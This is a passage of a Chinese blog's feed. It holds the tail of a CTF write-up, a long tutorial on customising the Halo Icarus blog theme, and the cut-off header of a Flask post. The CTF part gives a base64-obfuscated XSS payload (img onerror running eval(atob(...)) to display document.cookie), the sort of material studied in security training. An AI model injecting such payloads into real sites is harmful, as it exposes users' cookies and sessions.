href="https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML#%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98" target="_blank">https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML#%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98</a>）。<br />最终构造的payload为：</p><pre><code class="language-">share = PGltZyBzcmM9J25vbi1leGlzdC5qcGcnIG9uZXJyb3I9ImV2YWwoYXRvYignWkc5amRXMWxiblF1WjJWMFJXeGxiV1Z1ZEVKNVNXUW9KM05qYjNKbEp5a3VhVzV1WlhKSVZFMU1QV1J2WTNWdFpXNTBMbU52YjJ0cFpRPT0nKSkiPjox</code></pre><p>访问<code>提交练习成绩 URL</code>，传入链接即可获得flag</p><pre><code class="language-">flag{xS5_1OI_is_N0t_SOHARD_985f9f9cdd}</code></pre><h2 id="%5Bweb%5D%E5%85%89%E4%B8%8E%E5%BD%B1" tabindex="-1">[WEB]光与影</h2><h3 id="%E8%A7%A3%E6%B3%951" tabindex="-1">解法1</h3><p>看源代码，可知，这块是遮住flag的代码</p><pre><code class="language-">float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);float tmin = min(min(min(min(t1, t2), t3), t4), t5);</code></pre><p>将<code>tmin</code>修改为<code>min(min(min(t1, t2), t3), t4);</code>即可</p><h3 id="%E8%A7%A3%E6%B3%952" tabindex="-1">解法2</h3><p>根据代码，我们可以看到大量的点坐标，如果把他们整理一下，显示出来，会不会就是flag呢？<br />值得注意的是，显示的图像是上下颠倒的，但不影响阅读。</p><pre><code class="language-python">import refrom PIL import Image, ImageDrawdata = &quot;&quot;&quot;把每段sdf放在此处&quot;&quot;&quot;pattern = r&#39;vec3\((.+?)\,(.+?)\,(.+?)\)&#39;if __name__ == &#39;__main__&#39;:    dd = re.findall(pattern, data)    dots = []    for d in dd:        dots.append([int(d[0]), int(d[1]), int(d[2])])    print(dots)    im = Image.new(&#39;RGB&#39;, (300, 300), 0)    # 创建可绘制的对象    draw = ImageDraw.Draw(im)    for d in dots:        draw.point((d[0], d[1]), (255,0,0))    im.show()</code></pre><p>第一段：<br /><img src="https://blog.vvbbnn00.cn/upload/2022/12/frag1.jpg" alt="" /><br /><code>flag{</code><br />第二段：<br /><img src="https://blog.vvbbnn00.cn/upload/2022/12/frag2.jpg" alt="" /><br /><code>SDF-</code><br />第三段：<br /><img src="https://blog.vvbbnn00.cn/upload/2022/12/frag3.jpg" alt="" /><br /><code>i3-</code><br />第四段：<br /><img src="https://blog.vvbbnn00.cn/upload/2022/12/frag4.jpg" alt="" /><br /><code>FuN!}</code></p><p>组合即可</p><pre><code class="language-">flag{SDF-i3-FuN!}</code></pre>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[基于ICARUS主题的Halo博客站点优化&美化方案]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/基于icarus主题的halo博客站点优化美化方案" />
                <id>tag:https://blog.vvbbnn00.cn,2022-03-19:基于icarus主题的halo博客站点优化美化方案</id>
                <published>2022-03-19T18:21:44+08:00</published>
                <updated>2022-03-19T18:21:19+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<h2 id="前言">前言</h2><p>近日，笔者抛弃了原来的<a href="https://www.vvbbnn00.top">WordPress博客</a>，转投<code>Halo</code>后，选择了<a href="https://halo.run/archives/theme-icarus.html">Icarus</a>作为博客主题，选择此主题的原因则是因为被其简约而养眼的设计所吸引了，但也许是主题年代久远的原因（最后一次更新于2020年3月25日），下载安装过后，设置页面较为简陋。同时，也存在许多值得优化的空间（如标题过长时在移动端访问页面会被拉伸、代码无行号显示、无法自定义背景、加载js文件缓慢等）。虽然无法通过设置修改，但<code>Halo</code>后台仍然提供了主题编辑功能，因此，笔者花了大约1天时间，针对上述问题，将该主题进行了一些优化。</p><h2 id="显示优化">显示优化</h2><h3 id="站点背景图">站点背景图</h3><p>白花花的背景确实显得有些单调，在此，笔者提供一种添加网站自定义背景的方式：<br />在主题编辑中，找到文件<code>/layout/layout.ftl</code>，在其中的<code>&lt;body&gt;</code>标签下添加三行HTML代码：</p><pre><code class="language-html">&lt;div class=&quot;background-cover&quot;&gt;&lt;/div&gt;&lt;div class=&quot;background-img&quot;&gt;&lt;/div&gt;&lt;div class=&quot;background-cover2&quot;&gt;&lt;/div&gt;</code></pre><p>接着，在上方添加<code>CSS</code>样式：</p><pre><code class="language-css">    &lt;style&gt;.background-cover2 {content: &quot;&quot;;position: fixed;top: 0;left: 0;width: 100vw;height: 100vh;background-color: rgba(255,255,255,0.7);z-index: 0;}.background-img {top: -1vh;left: -1vw;width: 102vw;height: 102vh;position: fixed;background-size: cover;background-image: url(/upload/2022/03/bg-c5bdb3156ccc418499ebb6ebe51a63bf.png);backdrop-filter: blur(5px);filter: blur(5px);z-index: 0;}.background-cover {top: -1vh;left: -1vw;width: 102vw;height: 102vh;position: fixed;background-size: cover;filter: none !important;backdrop-filter: none !important;background-image: url(/upload/2022/03/bg-c5bdb3156ccc418499ebb6ebe51a63bf.png);z-index: 0;}.show-two-lines {  overflow: hidden;  text-overflow: ellipsis;  display: -webkit-box;  -webkit-line-clamp: 2;  -webkit-box-orient: vertical;}.footer {background-color: #fafafa !important;background: #fafafa !important;}    &lt;/style&gt;</code></pre><p>其中，<code>background-image</code>即为替换背景图片的地址，此处背景图片有模糊效果，为了遮盖边缘模糊造成的白边，在模糊背景后添加了一层为模糊处理的背景层，并在模糊背景前添加了一层白色遮罩，使得视觉上更加美观。<br /><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-24d5cb4b7b3340709e31fa32d6d78dbd.png" alt="添加了背景图片后的显示效果" /></p><h3 id="文章添加评论数量阅读量信息">文章添加评论数量、阅读量信息</h3><p>分析主题代码可知，显示文章组件的文件位于<code>/layout/common/article.ftl</code>，该文件中，包含两种情况的组件渲染：未点开文章时（即在文章列表页面）和阅读文章时，此处针对两种情况分别进行修改。根据<code>Halo</code>官方文档可知，阅读量和评论量参数均在<code>post</code>对象中给出，其变量名分别为<code>visits</code>和<code>commentCount</code>，此处只需简单加上即可。</p><h4 id="未点开文章时">未点开文章时</h4><p>找到用于判断当前页面状态的<code>if</code>语句：</p><pre><code class="language-txt">&lt;#if index &amp;&amp; post.summary?? &amp;&amp; post.summary!=''&gt;</code></pre><p>并修改其中的代码</p><pre><code class="language-html">        &lt;#if index &amp;&amp; post.summary?? &amp;&amp; post.summary!=''&gt;&lt;style&gt;.post-info {-webkit-font-smoothing: antialiased;text-rendering: optimizeLegibility;text-size-adjust: 100%;font-family: Ubuntu,Roboto,&quot;Open Sans&quot;,&quot;Microsoft YaHei&quot;,sans-serif;text-align: left;color: #4a4a4a;font-size: .75rem;white-space: nowrap;margin-left: 10px;}&lt;/style&gt;        &lt;div class=&quot;level is-mobile&quot;&gt;            &lt;div class=&quot;level-start&quot;&gt;                &lt;div class=&quot;level-item&quot;&gt;&lt;a class=&quot;button is-size-7 is-light&quot; href=&quot;${post.fullPath!}#more&quot;&gt;让我康康&lt;/a&gt;&lt;span class=&quot;post-info&quot;&gt;  ${post.visits} 阅读&lt;/span&gt;&lt;span class=&quot;post-info&quot;&gt;  ${post.commentCount} 评论&lt;/span&gt;&lt;/div&gt;            &lt;/div&gt;        &lt;/div&gt;        &lt;/#if&gt;</code></pre><p><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-e6733b57b6324824ae25eb63762a0d67.png" alt="添加阅读、评论量后文章列表的显示效果" /></p><h4 id="点开文章时">点开文章时</h4><p>找到用于判断当前页面状态的<code>if</code>语句：</p><pre><code class="language-txt">&lt;#if index&gt;</code></pre><p><strong>注意，此处是判断是否包含index参数，即判断是否为文章列表，因此，代码应在<code>else</code>代码块中修改</strong><br />修改后的代码如下：</p><pre><code class="language-html">                &lt;#else&gt;                    &lt;#if categories?? &amp;&amp; categories?size gt 0&gt;                        &lt;div class=&quot;level-item&quot;&gt;                            &lt;#list categories as category&gt;                                &lt;a class=&quot;has-link-grey -link&quot; href=&quot;${category.fullPath!}&quot;&gt;${category.name!}&lt;/a&gt;&amp;nbsp;                            &lt;/#list&gt;                        &lt;/div&gt;&lt;div class=&quot;level-item has-text-grey&quot;&gt;  ${post.visits!} 阅读&lt;/div&gt;&lt;div class=&quot;level-item has-text-grey&quot;&gt;  ${post.commentCount!} 评论&lt;/div&gt;                    &lt;/#if&gt;</code></pre><p><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-7e04857322084efc85ba5cfa4729f7c2.png" alt="点开文章后的显示效果" /></p><h3 id="代码增加行号点击复制功能">代码增加行号、点击复制功能</h3><p>找到<code>/layout/common/scripts.ftl</code>，在其中增加如下代码段即可：</p><pre><code class="language-html">&lt;#if is_post?? || is_sheet??&gt;&lt;script src=&quot;//cdn.bootcss.com/highlight.js/9.11.0/highlight.min.js&quot;&gt;&lt;/script&gt;&lt;script src=&quot;//cdn.bootcss.com/highlightjs-line-numbers.js/1.1.0/highlightjs-line-numbers.min.js&quot;&gt;&lt;/script&gt;&lt;script src=&quot;/upload/2022/03/highlightjs-copy-button.min-0530aa7bccca423fad82969114b188bd.js&quot;&gt;&lt;/script&gt;&lt;script&gt;  hljs.initHighlightingOnLoad();  hljs.initLineNumbersOnLoad();  hljs.initCopyButtonOnLoad();&lt;/script&gt;&lt;/#if&gt;</code></pre><p>其中，<code>is_post</code>和<code>is_sheet</code>用于判断当前页面是否为文章页和自定义页面（<code>is_post</code>和<code>is_sheet</code>为官方定义的全局变量），代码段仅在以上两种情况中会用到，可以按需引入。<br />在引入后，访问含有代码块的页面，会发现显示效果仍然不太好，例如行号与代码过于紧凑、鼠标移至行号处会在右上角弹出第二个<code>copy</code>按钮、HTML代码会导致行号错位，此时，需要在<code>/layout/layout.ftl</code>处插入一段简单的<code>CSS</code>作为polyfill即可：</p><pre><code class="language-html">    &lt;#if is_post?? || is_sheet??&gt;        &lt;style&gt;.hljs-line-numbers {pointer-events: none !important;margin-right: 0.5em;}            .token.tag{              height: 1em !important;            }        &lt;/style&gt;    &lt;/#if&gt;</code></pre><p><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-5722b4d3e1ba48dbb0e87db316bdbb9c.png" alt="优化后的代码块效果" /></p><h3 id="文章阅读前添加字数提示信息">文章阅读前添加字数提示信息</h3><p>此处为锦上添花的功能，实现起来一样较为简单。根据查阅资料，可知大多数情况下，平均阅读速度在400~600字/分钟，根据本博客文章内容复杂度考虑，笔者取速度为500字/分钟，则<code>实际耗时=文章字数/阅读速度</code>。<br />因此，只需在<code>/layout/common/article.ftl</code>中插入如下代码，即可实现：</p><pre><code class="language-html">&lt;#if !index&gt;&lt;style&gt;.read-tips {    -webkit-font-smoothing: antialiased;    text-rendering: optimizeLegibility;    text-size-adjust: 100%;    font-weight: 400;    line-height: 1.5;    font-family: Ubuntu,Roboto,&quot;Open Sans&quot;,&quot;Microsoft YaHei&quot;,sans-serif;    color: #4a4a4a;    font-size: 1rem;box-sizing: inherit;    margin: 0;    background-color: rgb(236, 245, 255);    border-left: 5px solid rgb(217, 236, 255);    padding: 1.25em 1.5em;    margin-bottom: 1em;}&lt;/style&gt;&lt;div class=&quot;read-tips&quot;&gt;&lt;b style=&quot;color: #409EFF; font-size: 1.1rem;&quot;&gt;阅读提示&lt;/b&gt;&lt;p style=&quot;color: #4a4a4a;&quot;&gt;本文共${post.wordCount}字，阅读大约需${(post.wordCount/500)?int}分钟。&lt;/p&gt;&lt;/div&gt;&lt;/#if&gt;</code></pre><p><em>注：此处配色参照<code>element-ui</code></em><br /><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-cb1b1e24d8344197a0e4926af120e508.png" alt="阅读提示在文章阅读过程中的效果" /></p><h3 id="文本过长显示问题修复">文本过长显示问题修复</h3><p>文本过长的问题在该主题中多处都有体现，例如友链处的链接溢出；最新文章、最新评论过长影响显示效果；文章末尾上下篇文章导航处，笔者针对上述三个场景进行了细节优化。<br />虽然分为3个场景，解决方法却基本一致——即减少显示长度呗（）</p><h4 id="友链处链接溢出解决">友链处链接溢出解决</h4><p>使用最简单粗暴的方式（把溢出的链接部分移除）即可，打开<code>/layout/common/widget.ftl</code>，替换友链组件代码：</p><pre><code class="language-html">&lt;#if settings.sidebar_links!true&gt;            &lt;@linkTag method=&quot;list&quot;&gt;            &lt;#if links?? &amp;&amp; links?size gt 0&gt;                &lt;div class=&quot;card widget&quot;&gt;                    &lt;div class=&quot;card-content&quot;&gt;                        &lt;div class=&quot;menu&quot;&gt;                        &lt;h3 class=&quot;menu-label&quot;&gt;                            友情链接                        &lt;/h3&gt;                        &lt;ul class=&quot;menu-list&quot;&gt;                            &lt;#list links as link&gt;                                &lt;li&gt;                                    &lt;a class=&quot;level is-mobile&quot; href=&quot;${link.url!}&quot; target=&quot;_blank&quot;&gt;                                        &lt;span class=&quot;level-left&quot;&gt;                                            &lt;span class=&quot;level-item&quot;&gt;${link.name}&lt;/span&gt;                                        &lt;/span&gt;                                    &lt;/a&gt;                                &lt;/li&gt;                            &lt;/#list&gt;                        &lt;/ul&gt;                        &lt;/div&gt;                    &lt;/div&gt;                &lt;/div&gt;            &lt;/#if&gt;        &lt;/@linkTag&gt;      &lt;/#if&gt;</code></pre><p><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-1b9b1c73191e4089b30541cf707f80b6.png" alt="友链显示溢出修复" /></p><h4 id="最新文章最新评论显示过多行">最新文章、最新评论显示过多行</h4><p>只需限制显示行数即可，同样十分简单，打开<code>/layout/layout.ftl</code>，添加以下样式：</p><pre><code class="language-css">.show-two-lines {  overflow: hidden;  text-overflow: ellipsis;  display: -webkit-box;  -webkit-line-clamp: 2;  -webkit-box-orient: vertical;}</code></pre><p>接着，在相应的组件中添加该<code>class</code>名称即可：<br /><code>/layout/widget/recent_comments.ftl</code></p><pre><code class="language-html">&lt;div class=&quot;card widget&quot;&gt;    &lt;div class=&quot;card-content&quot;&gt;        &lt;h3 class=&quot;menu-label&quot;&gt;            最新评论        &lt;/h3&gt;        &lt;@commentTag method=&quot;latest&quot; top=&quot;5&quot;&gt;            &lt;#if comments?? &amp;&amp; comments.getTotalElements() gt 0&gt;                 &lt;#list comments.content as comment&gt;                    &lt;article class=&quot;media&quot;&gt;                        &lt;div class=&quot;media-content&quot;&gt;                            &lt;div class=&quot;content&quot;&gt;                                &lt;div&gt;&lt;time class=&quot;has-text-grey is-size-7 is-uppercase&quot; datetime=&quot;${comment.createTime!}&quot;&gt;${comment.createTime?string('yyyy-MM-dd')}&lt;/time&gt;&lt;/div&gt;                                ${comment.author!} : &lt;a href=&quot;${comment.post.fullPath!}#comment-wrapper&quot; class=&quot;title has-link-black-ter is-size-6 has-text-weight-normal show-two-lines&quot;&gt;${comment.content!}&lt;/a&gt;                            &lt;/div&gt;                        &lt;/div&gt;                    &lt;/article&gt;                &lt;/#list&gt;            &lt;/#if&gt;        &lt;/@commentTag&gt;    &lt;/div&gt;&lt;/div&gt;</code></pre><p><code>/layout/widget/recent_posts.ftl</code></p><pre><code class="language-HTML">&lt;div class=&quot;card widget&quot;&gt;    &lt;div class=&quot;card-content&quot;&gt;        &lt;h3 class=&quot;menu-label&quot;&gt;            最新文章        &lt;/h3&gt;        &lt;@postTag method=&quot;latest&quot; top=&quot;5&quot;&gt;            &lt;#list posts as post&gt;                &lt;article class=&quot;media&quot;&gt;                    &lt;#if post.thumbnail?? &amp;&amp; post.thumbnail!=''&gt;                        &lt;a href=&quot;${post.fullPath!}&quot; class=&quot;media-left&quot;&gt;                            &lt;p class=&quot;image is-64x64&quot;&gt;                                &lt;img class=&quot;thumbnail&quot; src=&quot;${post.thumbnail!}&quot; alt=&quot;${post.title!}&quot;&gt;                            &lt;/p&gt;                        &lt;/a&gt;                    &lt;/#if&gt;                    &lt;div class=&quot;media-content&quot;&gt;                        &lt;div class=&quot;content&quot;&gt;                            &lt;div&gt;&lt;time class=&quot;has-text-grey is-size-7 is-uppercase&quot; datetime=&quot;${post.createTime!}&quot;&gt;${post.createTime?string('yyyy-MM-dd')}&lt;/time&gt;&lt;/div&gt;                            &lt;a href=&quot;${post.fullPath!}&quot; class=&quot;title has-link-black-ter is-size-6 has-text-weight-normal show-two-lines&quot;&gt;${post.title!}&lt;/a&gt;                        &lt;/div&gt;                    &lt;/div&gt;                &lt;/article&gt;            &lt;/#list&gt;        &lt;/@postTag&gt;    &lt;/div&gt;&lt;/div&gt;</code></pre><p><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-5ff17d8cc0bd4b9a8c8bbd43370b4588.png" alt="多行标题时显示效果" /></p><h4 id="文章导航前一篇后一篇显示溢出修复">文章导航（前一篇、后一篇）显示溢出修复</h4><p>在<code>/layout/common/article.ftl</code>文件中，找到并替换以下代码：</p><pre><code class="language-html">&lt;#if !index &amp;&amp; (nextPost?? || prevPost??)&gt;    &lt;style&gt;      .post-title {        overflow: hidden;        text-overflow: ellipsis;        white-space: nowrap;        min-width: 0;        max-width: 80vw;      }      .post-nav-card {        margin-top: 20px;      }    &lt;/style&gt;    &lt;div class=&quot;card card-transparent post-nav-card&quot;&gt;        &lt;div class=&quot;level post-navigation is-flex-wrap is-mobile&quot;&gt;            &lt;#if prevPost??&gt;            &lt;div class=&quot;level-start&quot;&gt;                &lt;a class=&quot;level level-item has-link-grey article-nav-prev&quot; href=&quot;${prevPost.fullPath!}&quot;&gt;                    &lt;i class=&quot;level-item fas fa-chevron-left&quot;&gt;&lt;/i&gt;                    &lt;div class=&quot;level-item&quot;&gt;                      &lt;div class=&quot;post-title&quot;&gt;${prevPost.title!}&lt;/div&gt;                    &lt;/div&gt;                &lt;/a&gt;            &lt;/div&gt;            &lt;/#if&gt;            &lt;#if nextPost??&gt;            &lt;div class=&quot;level-end&quot;&gt;                &lt;a class=&quot;level level-item has-link-grey article-nav-next&quot; href=&quot;${nextPost.fullPath!}&quot;&gt;                    &lt;div class=&quot;level-item post-title&quot;&gt;                      &lt;div class=&quot;post-title&quot;&gt;${nextPost.title!}&lt;/div&gt;                    &lt;/div&gt;                    &lt;i class=&quot;level-item fas fa-chevron-right&quot;&gt;&lt;/i&gt;                &lt;/a&gt;            &lt;/div&gt;            &lt;/#if&gt;        &lt;/div&gt;    &lt;/div&gt;&lt;/#if&gt;</code></pre><p>值得注意的是，若直接对<code>&lt;a&gt;</code>标签下级的<code>&lt;div&gt;</code>进行修改，由于<code>flex</code>显示特性，修改后将无法显示省略号，而是被直接截断。因此，需要在内部嵌套一层<code>&lt;div&gt;</code>。<br /><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-87935b7c4f414536b7f195c7542a6a02.png" alt="优化后的文章导航效果" /></p><h3 id="使导航栏支持二级导航">使导航栏支持二级导航</h3><p>导航栏若不支持二级导航，将会是一件较为头疼的事。很幸运的是，这被笔者所碰上了。那没办法，只能硬着头皮解决它。打开<code>/layout/common/navbar.ftl</code>，找到头部导航，替换如下代码：</p><pre><code class="language-html">            &lt;@menuTag method=&quot;tree&quot;&gt;                &lt;#if menus?? &amp;&amp; menus?size gt 0&gt;                    &lt;style&gt;                    /* sub-navbar */.navbar-start li:hover .sub-menu,.sub-menu:hover{opacity:1;visibility:visible}@media screen and (max-width:1024px){.sub-menu{margin-top:4.25rem !important}}.sub-menu{line-height:1.5;font-size:.8rem;text-rendering:optimizeLegibility;font-family:&quot;Source Serif Pro&quot;,&quot;Noto Serif SC&quot;,-apple-system,&quot;SF UI Text&quot;,&quot;PingFang SC&quot;,&quot;Microsoft YaHei&quot;,&quot;WenQuanYi Micro Hei&quot;,sans-serif;font-weight:400;color:#5755d9;box-sizing:inherit;overflow-wrap:break-word;margin:0;border-radius:.1rem;list-style:none;transition:all .35s;position:absolute;z-index:1000;top:3.5rem;opacity:0;visibility:hidden;min-width:10rem;padding:.5rem 1rem;box-shadow:0 .067em 1.2em rgba(0,0,0,.14);background-color:#fff}.navbar-subitem{overflow-wrap:break-word;color:#4a4a4a;position:relative;flex-grow:0;flex-shrink:0;cursor:pointer;display:flex;align-items:center;text-align:center;padding:0.5rem 0.5rem}.navbar-subitem:hover{color:#3273dc;background-color:#fafafa}                    &lt;/style&gt;                    &lt;ul class=&quot;navbar-start&quot;&gt;                        &lt;#list menus?sort_by('priority') as menu&gt;                        &lt;li&gt;                            &lt;a class=&quot;navbar-item&quot; href=&quot;${menu.url}&quot; target=&quot;${menu.target!}&quot;&gt;${menu.name}&lt;/a&gt;                            &lt;#if menu.children?? &amp;&amp; menu.children?size gt 0&gt;                &lt;ul class=&quot;sub-menu&quot;&gt;                    &lt;#list menu.children?sort_by('priority') as child&gt;                &lt;li&gt;                &lt;a href=&quot;${child.url!}&quot; target=&quot;${child.target!}&quot; class=&quot;navbar-subitem&quot;&gt;${child.name}&lt;/a&gt;                &lt;/li&gt;                    &lt;/#list&gt;                &lt;/ul&gt;                  &lt;/#if&gt;                        &lt;/li&gt;                        &lt;/#list&gt;                    &lt;/ul&gt;                &lt;/#if&gt;            &lt;/@menuTag&gt;</code></pre><p>此处由于<code>css</code>过长，已将其压缩为一行。值得注意的是，在窄屏情况下，导航栏会出现下移的情况，需要对其专门适配。<br /><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-1835f8868823488ba37923c1420ee525.png" alt="支持二级导航后的效果" /></p><h3 id="其他一些琐碎的显示优化">其他一些琐碎的显示优化</h3><h4 id="隐藏关注按钮">隐藏关注按钮</h4><p>在<code>/layout/widget/prifile.ftl</code>文件中，找到如下代码，将其注释即可：</p><pre><code class="language-html">&lt;div class=&quot;level&quot;&gt;       &lt;a class=&quot;level-item button is-link is-rounded&quot; href=&quot;${settings.profile_follow_url!'${blog_url!}'}&quot; target=&quot;_blank&quot;&gt;关注我&lt;/a&gt;&lt;/div&gt;</code></pre><h4 id="修改阅读文章文案">修改阅读文章文案</h4><p>在<code>/layout/common/article.ftl</code>中修改相应<code>显示更多按钮</code>的文案即可。</p><h4 id="友链部分增加提示卡片">友链部分增加提示卡片</h4><p>在<code>/links.ftl</code>中，替换代码：</p><pre><code class="language-html">&lt;#include &quot;layout/layout.ftl&quot;&gt;&lt;#include &quot;layout/common/article.ftl&quot;&gt;&lt;@layout title=&quot;链接 - ${blog_title!}&quot; canonical=&quot;${links_url!}&quot;&gt;    &lt;#include &quot;layout/widget/links.ftl&quot;&gt;    &lt;style&gt;      .tips_card{        margin-top: 15px;      }      .card-content&gt;.menu{        -webkit-font-smoothing: antialiased;        text-rendering: optimizeLegibility;        text-size-adjust: 100%;        line-height: 1.5;        font-family: Ubuntu,Roboto,&quot;Open Sans&quot;,&quot;Microsoft YaHei&quot;,sans-serif;        box-sizing: inherit;        margin: 0;        padding: 0;        font-weight: 400;        color: #7a7a7a;        font-size: .75em;        letter-spacing: .1em;        margin-bottom: 1em;      }      .card-content&gt;.link_add_help{-webkit-font-smoothing: antialiased;text-rendering: optimizeLegibility;text-size-adjust: 100%;font-family: Ubuntu,Roboto,&quot;Open Sans&quot;,&quot;Microsoft YaHei&quot;,sans-serif;font-size: .75em;letter-spacing: .1em;list-style: none;line-height: 1.25;color: #4a4a4a;box-sizing: inherit;font-style: inherit;font-weight: inherit;align-items: center;display: flex;flex-basis: auto;flex-shrink: 0;justify-content: center;flex-grow: 1;padding: 10px;      }    &lt;/style&gt;    &lt;div class=&quot;card widget tips_card&quot;&gt;      &lt;div class=&quot;card-content&quot;&gt;        &lt;div class=&quot;menu&quot;&gt;          添加友链        &lt;/div&gt;        &lt;div class=&quot;link_add_help&quot;&gt;          欢迎发邮件或以其他一切联系方式联系我添加友链，注意联系时提供站点名称和站点地址哦~        &lt;/div&gt;      &lt;/div&gt;    &lt;/div&gt;&lt;/@layout&gt;</code></pre><h4 id="页脚隐藏logo添加备案信息等">页脚隐藏logo、添加备案信息等</h4><p>在<code>/layout/common/footer.ftl</code>中，替换如下代码即可：</p><pre><code class="language-html">&lt;footer class=&quot;footer&quot;&gt;    &lt;div class=&quot;container&quot;&gt;        &lt;div class=&quot;level&quot;&gt;            &lt;div class=&quot;level-start has-text-centered-mobile&quot;&gt;                &lt;!--                &lt;a class=&quot;footer-logo is-block has-mb-6&quot; href=&quot;${blog_url!}&quot;&gt;                    &lt;#if blog_logo?? &amp;&amp; blog_logo!=''&gt;                        &lt;img src=&quot;${blog_logo!}&quot; alt=&quot;${blog_title!}&quot; height=&quot;28&quot;&gt;                    &lt;#else&gt;                        ${blog_title!}                    &lt;/#if&gt;                &lt;/a&gt;                --&gt;                &lt;p class=&quot;is-size-7&quot;&gt;                    &amp;copy; ${.now?string('yyyy')} ${user.nickname!}&amp;nbsp;                    Powered by &lt;a href=&quot;https://halo.run/&quot; target=&quot;_blank&quot;&gt;Halo&lt;/a&gt;                    &lt;br /&gt;                    Theme made by &lt;a                            href=&quot;https://github.com/halo-dev/halo-theme-icarus&quot; target=&quot;_blank&quot;&gt;Icarus&lt;/a&gt;, customized by &lt;a href=&quot;https://vvbbnn00.cn/&quot; target=&quot;_blank&quot;&gt;vvbbnn00&lt;/a&gt;                    &lt;br /&gt;                    &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://beian.miit.gov.cn/&quot;&gt;沪ICP备2021021821号-1&lt;/a&gt;&amp;nbsp;&amp;nbsp;                    &lt;a target=&quot;_blank&quot; href=&quot;http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=31011202013723&quot; style=&quot;display:inline-block;text-decoration:none;height:20px;line-height:20px;&quot;&gt;             沪公网安备 31011202013723号     &lt;/a&gt;                    &lt;br /&gt;                    &lt;a href=&quot;https://icp.gov.moe/?keyword=20229961&quot; target=&quot;_blank&quot;&gt;萌ICP备20229961号&lt;/a&gt;                    &lt;br /&gt;                    &lt;@global.footer /&gt;                &lt;/p&gt;            &lt;/div&gt;            &lt;div class=&quot;level-end&quot;&gt;                &lt;div class=&quot;field has-addons is-flex-center-mobile has-mt-5-mobile is-flex-wrap is-flex-middle&quot;&gt;                    ${settings.links_footer!}                &lt;/div&gt;            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;&lt;/footer&gt;</code></pre><p><strong>注：请尊重原主题作者的劳动成果，保留作者信息哦~</strong></p><h2 id="网站访问速度优化">网站访问速度优化</h2><p>根据笔者分析后，发现加载速度过慢的部分为从<code>jsdelivr</code>引入的<code>js</code>文件，针对该问题，可以更换<code>CDN</code>源或自建<code>CDN</code>。<br />此处笔者使用了一下钞能力，简单建立了一个<code>jsdelivr</code>的镜像<code>CDN</code>加速站点。作者使用的是腾讯云CDN，相应配置截图如下：<br /><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-cd8928e7969344deaebc9819eda5699d.png" alt="CDN配置1" /><br /><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-f7e7eac4f69f4c30a208866ca835f8c4.png" alt="CDN配置2" /><br />值得注意的是，在回源设置时，务必将端口号指定为<code>443</code>，而非<code>80</code>，因为<code>80</code>端口会重定向，这便失去了建立<code>CDN</code>的意义。<br />同时，为了防止被白嫖（主要是钞能力不够强大），笔者也设置了防盗链：<br /><img src="https://blog.vvbbnn00.cn/upload/2022/03/image-728e9fc42ba746da8f3d25e50dc9ecb8.png" alt="防盗链设置" /><br />通过上图设置，可以限制只有自己的站点能访问该<code>CDN</code>。</p><p>最后，在配置完毕<code>CDN</code>节点后，别忘了将主题文件中，引用<code>jsdelivr</code>的<code>js</code>文件替换为自建的<code>CDN</code>节点哦~</p><h2 id="尾声">尾声</h2><p>至此，博客优化告一段落。当然，仍然存在不少可以改进的地方：例如文章阅读时的目录导航等。但奈何笔者技术力不足（悲），当然也有懒得成分，这些想法被推迟到了后续优化。也欢迎有同样想法的小伙伴一同交流~<br /><em>PS:这次选了一个比较生草的封面</em></p><h2 id="参考资料">参考资料</h2><ul><li><a href="https://docs.halo.run/developer-guide/theme/prepare">https://docs.halo.run/developer-guide/theme/prepare</a></li><li><a href="https://github.com/halo-dev/halo-theme-icarus">https://github.com/halo-dev/halo-theme-icarus</a></li><li><a href="https://halo.run/archives/theme-sakura.html">https://halo.run/archives/theme-sakura.html</a></li><li><a href="https://www.cnblogs.com/yzg1/p/5089534.html">https://www.cnblogs.com/yzg1/p/5089534.html</a></li></ul>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[一种通过魔改Python中http库源代码的方式使得flask在端口穿透时支持Proxy Protocol]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/pythonflaskproxyprotocol" />
                <id>tag:https://blog.vvbbnn00.cn,2022-03-19:pythonflaskproxyprotocol</id>
                <published>2022-03-19T02:15:25+08:00</published>
                <updated>2022-03-19T16:15:45+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
